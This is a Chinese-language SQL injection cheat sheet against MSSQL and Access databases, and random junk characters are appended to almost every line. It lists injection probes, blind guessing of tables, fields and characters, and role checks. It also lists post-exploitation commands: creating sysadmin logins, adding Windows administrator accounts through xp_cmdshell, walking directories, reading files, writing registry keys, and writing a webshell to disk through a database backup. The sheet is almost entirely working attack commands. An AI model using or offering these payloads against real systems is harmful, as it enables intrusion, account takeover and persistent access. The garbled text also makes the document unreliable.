1.判断是否有注入;and 1=1 ;and 1=2 vPpbm
2.初步判断是否是mssql ;and user>0 (r:WG!I,
[Fjh
3.注入参数是字符'and [查询条件] and ''=' ; N!K/[p=
x4Eq5"F7}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0jE,=<W0>
pcm|
5.判断数据库系统 7|IW\
H`B%6S/
;and (select count(*) from sysobjects)>0 mssql 7zpwP
`d8}3D
;and (select count(*) from msysobjects)>0 access KmpX^Se[
$ 'HiNP
{c
{h|3P/?7
5+giT5K*h
6.猜数据库 ;and (select Count(*) from [数据库名])>0 A#LK2II^
$Pl>T09d
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2>?GD@GE
Vs\)w>JF
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 AaKILIIQZ
1rTA0+h
9.(1)猜字段的ascii值(access) />)>~_-3
LBw,tP
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 v]Pw]m5=U
}evc]?1(
(2)猜字段的ascii值(mssql) In:h %4>
$kkdB,y
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 F1gDeLmJ
{ZN{$Ad3/
10.测试权限结构(mssql) 6WI_JbT~
7A7K:,c
{n
#
gO_^{>2
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R0-ARq#0<
fJC)>doM
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Mp"] =
Ypha{d
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- A]Q4fD1q
hq(3%- 7&
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- V ;"?='vVe
!Wn'Ae9
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }me]?en_Ra
irgjq/&d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Z/:(*F C
!(l,+@j
;and 1=(select IS_MEMBER('db_owner'));-- ojtc Kw
?AYI
,Ad\!
$aG]V-M>
11.添加mssql和系统的帐户 |`_TVzA
z[IG+2
;exec master.dbo.sp_addlogin username;-- K,+`td#
;exec master.dbo.sp_password null,username,password;-- K#+TCZ,
~F
uD6f
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N~Ax78TX
4$SW~BpQ
;exec master.dbo.xp_cmdshell 'net user username password rS)7D
w.^k':,"
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z&cfFx#h)
~8}"X] 4
;exec master.dbo.xp_cmdshell 'net user username password /add';-- V4/eGh_T
-D38>#Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- /xj'Pq((}p
y)Ip\.KV\
@b-?KH
'xr\\Cd9s
12.(1)遍历目录 :mL\KQ
:t^=~xO9
;create table dirs(paths varchar(100), id int) F2>o"j2
|)
THuE(
;insert dirs exec master.dbo.xp_dirtree 'c:\' G'}%m;-mt
.E[k}{k,
;and (select top 1 paths from dirs)>0 ;2#H M^Mu
5wP(/?sRy
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) kX5v!pm[
wz>j>e6k`
Kze\|yJ
[ivJ&'vB
(2)遍历目录 JFR,QUT
TS-m^Y'R
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- |~#!e}L(
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }5zH3MPQH
cf@:rHB}
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h9g5W'.#
7-6_`Q2}Y
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $?wX*
vE6/B"b
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vu;tU.
~)sb\o
WoesE:NiR
W53i5u(
13.mssql中的存储过程 0y2iS't
ikyvst>O
xp_regenumvalues 注册表根键, 子键 *RN*Bh|$
P0}uTee
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 <bIAq8
k.
px
xp_regread 根键,子键,键值名 Z~muQ c?
tUz!]P2BUO
;exec xp_regread vHJ ~~if
U%w?muJW
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 aMh2[I
[eG- &u
xp_regwrite 根键,子键, 值名, 值类型, 值 > YN<~z-
Tet,mzVuu
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 YNk?1#k?i
?Za1
b
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L{<E'#@F
"1h|1'S50?
xp_regdeletevalue 根键,子键,值名 |]\qI
0#XZ_(@%
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Gq+!%'][P
N ?0V0B
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 rs 7R5 F
[$-y8`~(
zx0{cNPK5
rf^1%Zo:
14.mssql的backup创建webshell $;$_N43
GJ{]}fl
use model qo$<&'r
nyTfTn
create table cmd(str image); Ql
[=
1w1(FpQO.
insert into cmd(str) values (''); khW3z*e#
w9c
backup database model to disk='c:\l.asp'; a2o+tR;H
U2@?!B[\d`
z`f1|Ok
m:X;dcq'3
15.mssql内置函数 d&.)Dw
Y
1LE.{
;and (select @@version)>0 获得Windows的版本号 T9N /;3
0u)]1
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $p}7CP
PlTY^N6Hn
;and (select user_name())>0 爆当前系统的连接用户 OW1[Y-o[
Bam7^g'*!3
;and (select db_name())>0 得到当前连接的数据库 hbxG
U*[/F)!
kAf2g
=,,!a/U
16.简洁的webshell WAkKbqJV
mA3C)V
use model S%g`X
'0/t |V<
create table cmd(str image); 8[2^`g
DkQy.
insert into cmd(str) values (''); :|N5fkhN
A4 o'EQ?~
backup database model to disk='g:\wwwtest\l.asp';